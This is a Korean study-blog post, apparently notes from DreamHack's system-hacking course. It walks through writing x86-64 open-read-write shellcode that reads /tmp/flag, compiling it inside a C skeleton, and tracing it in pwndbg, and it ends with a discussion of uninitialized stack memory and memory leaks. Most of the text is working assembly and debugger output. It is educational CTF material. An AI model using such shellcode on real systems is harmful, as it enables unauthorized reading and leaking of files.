DreamHack의 System Hacking 로드맵을 기반으로 정리한 글입니다.
Exploit Tech: 1. orw Shellcode
해킹 분야에서 상대 시스템을 공격하는 것을 익스플로잇(Exploit)이라고 부른다. 익스플로잇은 '부당하게 이용하다'라는 뜻이 있는데, 상대 시스템에 침투하여 시스템을 악용하는 해킹과 맥락이 닿는다.
셸코드(Shellcode)는 시스템 해킹의 익스플로잇과 관련된 공격 기법 중 하나로, 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다. 일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용해서, 특별히 '셸'이 접두사로 붙었다. 셸을 획득하는 것은 시스템 해킹의 관점에서 매우 중요하다.
만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있다. 어셈블리어는 기계어와 거의 일대일 대응되므로 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 된다.
셸 코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다. 아키텍처별로 자주 사용되는 셸코드를 모아서 공유하는 사이트도 있다. 그러나 공유되는 셸코드는 범용적으로 작성된 것이기 때문에, 실행될 때의 메모리 상태 같은 시스템 환경을 완전히 반영하지는 못한다. 따라서 최적의 셸코드는 일반적으로 직접 작성해야 하며, 상황에 따라 반드시 그래야만 할 수도 있다.
※ orw: 파일 읽고 쓰기(open-read-write) / execve: 셸 획득
orw 셸코드 작성
orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.
char buf[0x30];
int fd = open("/tmp/flag", O_RDONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
▶ 구현하려는 셸코드의 동작 C언어 형식의 의사코드로 표현
※ 의사코드(슈도코드, pseudocode): 알고리즘 동작을 설명하기 위해 C 문법과 비슷하게 표현한 비공식 코드로, 실제 코드 X
orw 셸코드를 작성하기 위해 알아야 하는 syscall은 아래 표와 같다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
※ syscall: 사용자 프로그램이 운영체제 커널의 기능을 사용할 때 호출하는 인터페이스이다.
※ rax: 시스템 호출 번호로, 어떤 syscall을 호출할지 지정 / arg: argument, 인자 / mode: 파일 권한 설정으로, 파일을 생성하는 상황에서만 사용되며, 읽기나 쓰기와는 관계 X
의사코드의 각 줄을 어셈블리로 구현
1. int fd = open("/tmp/flag", O_RDONLY, NULL);
- /tmp/flag라는 파일 경로를 메모리에 올린다.
- rdi(데이터 옮길 때 목적지 가리키는 포인터) 레지스터가 경로를 가리키도록 설정한다.
- O_RDONLY(= 0)를 rsi에 설정한다.
- rax(함수의 반환 값)에 open syscall 번호 0x02를 설정한다.
- syscall을 호출한다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
open | 0x02 | const char *filename | int flags | umode_t mode |
"/tmp/flag"라는 문자열을 메모리에 위치시키기 위해 스택에 0x67616c662f706d742f(/tmp/flag 의 리틀 엔디안 형태)를 push하여 위치시키도록 만들어야 한다. 하지만 스택에는 8바이트 단위로만 값을 push할 수 있으므로 0x67을 우선 push한 후, 0x616c662f706d742f를 push한다. 그리고 rdi가 이를 가리키도록 rsp(사용중인 스택의 위치를 가리키는 포인터)를 rdi로 옮긴다.
이때 O_RDONLY는 0이므로, rsi(데이터를 옮길 때 원본을 가리키는 포인터)는 0으로 설정한다.
※ O_RDONLY = 0, Open read-only / O_WRONLY = 1, Open write-only / O_RDWR = 2, Open read/write
파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정한다.
마지막으로, rax를 open의 syscall 값인 2로 설정한다.
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
▶ 구현
※ 2번째 줄에서 push가 아닌 mov를 사용하는 이유: 큰 데이터의 경우, rax에 데이터를 로드하고 push rax로 스택에 넣는 방법이 자주 사용된다. (데이터 재활용할 때 유리) 이때, rax 레지스터를 사용하는 이유는 rax가 기본적으로 가장 자유로운 범용 레지스터로 간주되기 때문이다.
- push: 값을 스택에 추가하는 명령어, 스택 포인터 rsp를 줄인 후 값을 스택에 저장
- mov: 값을 단순히 레지스터나 메모리 주소로 이동시키는 명령어, 스택에 영향 X
2. read(fd, buf, 0x30);
- rdi에 fd(파일 디스크립터) 값을 넣는다.
- 데이터를 저장할 buf(버퍼) 메모리 주소를 rsi에 설정한다.
- 0x30(파일로부터 읽을 바이트 수)를 rdx에 설정한다.
- rax에 read syscall 번호 0x00을 설정한다.
- syscall을 호출한다.
※ 파일 디스크립터: 운영체제에서 열려 있는 파일을 식별할 때 사용하는 고유 번호 / 버퍼: 데이터를 임시로 저장하는 메모리 영역
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
read | 0x00 | unsigned int fd | char *buf | size_t count |
syscall의 반환 값은 rax로 저장된다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다.
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입한다.
rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정한다.
read 시스템콜을 호출하기 위해 rax를 0으로 설정한다.
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
▶ 구현
파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자이다. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장한다. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 표준 입력(Standard Input, STDIN), 1번은 표준 출력(Standard Output, STDOUT), 2번은 표준 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해 준다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 저달하고, 출력을 터미널로 받아볼 수 있는 것이다.
프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해 준다. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있다.
3. write(1, buf, 0x30);
- rdi에 1(일반 출력) 값을 넣는다.
- rax에 write syscall 번호 0x01을 설정한다.
- syscall을 호출한다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
출력은 stdout으로 할 것이므로, rdi를 0x1로 설정한다.
rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.
write 시스템콜을 호출하기 위해 rax를 1로 설정한다.
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
▶ 구현
orw 셸코드 컴파일 및 실행
대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다. 윈도우의 PE(Preinstallation Environment)), 리눅스의 ELF가 대표적인 예이다. ELF(Executable and Linkable Format)는 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀있다.
위에서 작성한 셸코드는 아스키(인간이 읽을 수 있는 텍스트 형식)로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF 형식이 아니므로 리눅스에서 실행될 수 없다. 이를 해결하는 방법에는 gcc(GNU Compiler Collection) 컴파일을 통해 이를 ELF 형식으로 변형하는 방법이 있다.
컴파일
어셈블리 코드를 컴파일하는 방법에는 실행할 수 있는 스켈레톤 코드(뼈대 코)를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법이 있다. 스켈레톤 코드는 핵심 내용이 비어있는, 기본 구조만 갖춘 코드를 말한다. 이 스켈레톤 코드에 앞에서 작성한 셸코드를 채운다.
__asm__(
".global run_sh\n" // run_sh 함수가 전역적으로 접근할 수 있도록 설정하는 어셈블리 지시어로, 이 함수를 다른 파일에서 참조할 수 있게 해준다.
"run_sh:\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
▶ 스켈레톤 코드 예제
- 프로그램이 실행되면 main() 함수에서 run_sh()가 호출
- run_sh() 내의 어셈블리 코드 실행
__asm__는 C언어에서 어셈블리 코드를 삽입할 때 사용하는 구문으로, C 코드 내에 직접 어셈블리 코드를 포함할 수 있게 해준다.
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
▶ 앞서 작성한 셸코드로 채운 스켈레톤 코드
※'\n'은 C 문자열 내에서 줄 바꿈을 하기 위한 문자로, 실행에 영향을 미치지 않으며, 단지 코드의 가독성을 위해 사용된다.
실행
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
▶ /tmp/flag 파일 생성
$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}
▶ orw.c를 컴파일하고, 실행
셸코드가 성공적으로 실행되어 /tmp/flag 파일을 생성하며 저장한 문자열이 출력되는 것을 확인할 수 있다. 만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해 낼 수 있을 것이다.
이때, /tmp/flag의 내용 말고도 몇 자의 알 수 없는 문자열들이 출력되는 경우가 있다. 때문에 디버깅을 통해 셸코드의 동작을 살펴보고, 알 수 없는 값들이 출력되는 원인을 알아봐야 한다.
orw 셸코드 디버깅
gdb를 통해 작성한 셸코드의 동작을 자세히 분석할 수 있다.
$ gdb orw -q
...
pwndbg> b *run_sh
Breakpoint 1 at 0x1129
▶ orw를 gdb로 열고, run_sh()에 브레이크 포인트를 설정
- gdb orw: 디버깅할 실행 파일로 orw를 지정하는 명령어
- -q 옵션: gdb 시작 시 불필요한 초기 메시지를 생략(quiet mode)
pwndbg> r
Starting program: /home/dreamhack/orw
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x0000555555555129 in run_sh ()
...
*RIP 0x555555555129 (run_sh) ◂— push 0x67
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x555555555129 <run_sh> push 0x67
0x55555555512b <run_sh+2> movabs rax, 0x616c662f706d742f
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
0x555555555146 <run_sh+29> syscall
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
...
▶ run 명령어로 run_sh()의 시작 부분까지 코드 실행
코드를 실행시키면 작성한 셸코드에 rip가 위치한 것을 확인할 수 있고, 이제 앞에서 구현한 각 시스템 콜들이 제대로 구현되었는지 확인해 볼 수 있다.
1. int fd = open("/tmp/flag", O_RDONLY, NULL)
pwndbg> b *run_sh+29
Breakpoint 2 at 0x555555555146
pwndbg> c
Continuing.
Breakpoint 2, 0x0000555555555146 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x2
RBX 0x0
RCX 0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX 0x0
*RDI 0x7fffffffe2f8 ◂— '/tmp/flag'
*RSI 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555135 <run_sh+12> push rax
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
► 0x555555555146 <run_sh+29> syscall <SYS_open>
file: 0x7fffffffe2f8 ◂— '/tmp/flag'
oflag: 0x0
vararg: 0x0
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
...
▶ 첫 번째 syscall이 위치한 run_sh+29 브레이크 포인트를 설정한 후 실행하여, 해당 시점에 syscall에 들어가는 인자 확인
pwndbg 플러그인은 syscall을 호출할 때, 위 결과의 24~27번 라인과 같이 인자를 해석해서 보여준다. 셸코드를 작성할 때 계획했듯이, open("/tmp/flag", O_RDONLY, NULL);가 실행됨을 확인할 수 있다.
pwndbg> ni
0x0000555555555148 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x3
RBX 0x0
*RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x0
RDI 0x7fffffffe2f8 ◂— '/tmp/flag'
RSI 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555136 <run_sh+13> mov rdi, rsp
0x555555555139 <run_sh+16> xor rsi, rsi
0x55555555513c <run_sh+19> xor rdx, rdx
0x55555555513f <run_sh+22> mov rax, 2
0x555555555146 <run_sh+29> syscall
► 0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
...
▶ ni 명령어로 syscall을 실행하고 나면, open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장됨
※ 이때 3은 정수로 표현된 파일 디스크립터로, 0(표준 입력), 1(표준 출력), 2(표준 에러) 다음으로 할당된 번호이다.
2. read(fd, buf, 0x30)
pwndbg> b *run_sh+55
Breakpoint 3 at 0x555555555160
pwndbg> c
Continuing.
Breakpoint 3, 0x0000555555555160 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x0
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX 0x30
*RDI 0x3
*RSI 0x7fffffffe2c8 ◂— 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555148 mov rdi, rax
0x55555555514b mov rsi, rsp
0x55555555514e sub rsi, 0x30
0x555555555152 mov rdx, 0x30
0x555555555159 mov rax, 0
► 0x555555555160 syscall
fd: 0x3 (/tmp/flag)
buf: 0x7fffffffe2c8 ◂— 0x0
nbytes: 0x30
0x555555555162 mov rdi, 1
0x555555555169 mov rax, 1
0x555555555170 syscall
0x555555555172 xor rdi, rdi
0x555555555175 mov rax, 0x3c
...
▶ 두 번째 syscall이 위치한 run_sh+55 브레이크 포인트를 설정한 후 실행하여, 해당 시점에 syscall에 들어가는 인자 확인
새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30 바이트만큼 읽어서 0x7fffffffe2c8에 저장한다.
pwndbg> ni
0x0000555555555162 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x29
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x30
RDI 0x3
RSI 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
► 0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
0x555555555170 <run_sh+71> syscall
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
0x55555555517c <run_sh+83> syscall
...
▶ ni 명령어로 syscall을 실행
REGISTERS 부분의 RSI를 통해 파일의 내용이 0x7fffffffe2c8에 저장되었음을 알 수 있다.
pwndbg> x/s 0x7fffffffe2c8
0x7fffffffe2c8: "flag{this_is_open_read_write_shellcode!}\n"
▶ 파일 내용은 x/s 명령어로도 확인 가능
- x: examine
- s: string
0x7fffffffe2c8에 /tmp/flag의 문자열이 성공적으로 저장된 것을 확인할 수 있다.
3. write(1, buf, 0x30)
pwndbg> c
Continuing.
Breakpoint 4, 0x0000555555555170 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x1
RBX 0x0
RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
RDX 0x30
*RDI 0x1
RSI 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
0x555555555160 <run_sh+55> syscall
0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
► 0x555555555170 <run_sh+71> syscall <SYS_write>
fd: 0x1 (/dev/pts/11)
buf: 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
n: 0x30
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
0x55555555517c <run_sh+83> syscall
0x55555555517e <main> endbr64
0x555555555182 <main+4> push rbp
...
▶ 읽어낸 데이터를 출력하는 write 시스템콜을 실행하기 직전의 모습
flag{this_is_open_read_write_shellcode!}
▶ ni 명령어로 실행하면, 데이터를 저장한 0x7fffffffe2c8에서 48바이트를 출력
※ 이때 48바이트인 이유는 파일의 내용인 "flag{this_is_open_read_write_shellcode!}"가 48바이트이기 때문이다.
초기화되지 않은 메모리 영역 사용(Use of Uninitialized Memory)
$ ./orw
flag{this_is_open_read_write_shellcode!}
&��U
▶ /tmp/flag의 데이터 외에 알 수 없는 문자열이 출력
이러한 경우는 초기화되지 않은 메모리 영역 사용에 의한 것이다.
스택은 다양한 함수들이 공유하는 메모리 자원이다. 각 함수가 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제한다. 그런데 스택에서 해제라는 것은 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히, rsp와 rbp를 호출 이전 상태로 이동시키는 것을 말한다. 즉, 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 되며, 이를 쓰레기 값(garbage data)이라고 표현하기도 한다.
※ 스택 프레임 할당: rsp와 rbp를 호출한 함수의 것으로 이동시키는 것
프로세스는 쓰레기 값 때문에 때때로 예상치 못한 동작을 하기도 하며, 해커에게 의도치 않게 중요한 정보를 노출하기도 한다. 따라서 이런 위험으로부터 안전한 프로그램을 작성하려면 스택이나 힙을 사용할 때 항상 적절한 초기화 과정을 거쳐야 한다.
pwndbg> c
Continuing.
Breakpoint 3, 0x0000555555555160 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0x0
RBX 0x0
*RCX 0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX 0x30
*RDI 0x3
*RSI 0x7fffffffe2c8 ◂— 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x555555555148 <run_sh+31> mov rdi, rax
0x55555555514b <run_sh+34> mov rsi, rsp
0x55555555514e <run_sh+37> sub rsi, 0x30
0x555555555152 <run_sh+41> mov rdx, 0x30
0x555555555159 <run_sh+48> mov rax, 0
► 0x555555555160 <run_sh+55> syscall <SYS_read>
fd: 0x3 (/tmp/flag)
buf: 0x7fffffffe2c8 ◂— 0x0
nbytes: 0x30
0x555555555162 <run_sh+57> mov rdi, 1
0x555555555169 <run_sh+64> mov rax, 1
0x555555555170 <run_sh+71> syscall
0x555555555172 <run_sh+73> xor rdi, rdi
0x555555555175 <run_sh+76> mov rax, 0x3c
...
▶ 알 수 없는 값이 함께 출력되는 경우, read 시스템콜을 실행한 직후로 돌아가 원인을 분석해 볼 수 있다.
아까와 같이 파일을 읽어 스택에 저장했다.
pwndbg> x/6gx 0x7fffffffe2c8
0x7fffffffe2c8: 0x6968747b67616c66 0x65706f5f73695f73
0x7fffffffe2d8: 0x775f646165725f6e 0x6568735f65746972
0x7fffffffe2e8: 0x7d2165646f636c6c 0x000000000000000a
▶ 해당 스택의 영역 조회
- g(giant): 8바이트씩
- x(hexadecimal): 16진수로 출력
48바이트 중, 앞의 41바이트만 저장한 파일의 데이터만 저장한 파일의 데이터이고, 마지막 7바이트는 널 바이트로 존재한다. 알 수 없는 값이 출력되는 경우에는 뒤 7바이트가 널 바이트가 아닌 쓰레기 값이 들어있을 것이다. 쓰레기 값이 나중에 write 시스템콜을 수행할 때, 플래그(파일 내용)와 함께 출력되는 것이다.
※ flag{this_is_open_read_write_shellcode!}은 41바이트이다. 그 이유는 알파벳, 숫자, 기호 각각 1바이트씩 총 40자이며, 이에 추가로 개행 문자 '\n'이 추가로 포함되어 있기 때문이다.
해커의 입장에서 쓰레기 값은 아무 의미 없는 값이 아니다. 쓰레기 값은 어셈블리 코드의 주소나 어떤 메모리의 주소일 수 있다. 이런 중요한 값을 유출해 내는 작업을 메모리 릭(Memory Leak)이라고 부르는데, 이는 보호 기법들을 무력화하는 핵심 역할을 한다.
'Security > System Hacking' 카테고리의 다른 글
System Hacking: Tool Installation - 2 (0) | 2025.01.21 |
---|---|
System Hacking: Tool Installation - 1 (0) | 2025.01.20 |
System Hacking: Background - Computer Science (2) | 2025.01.19 |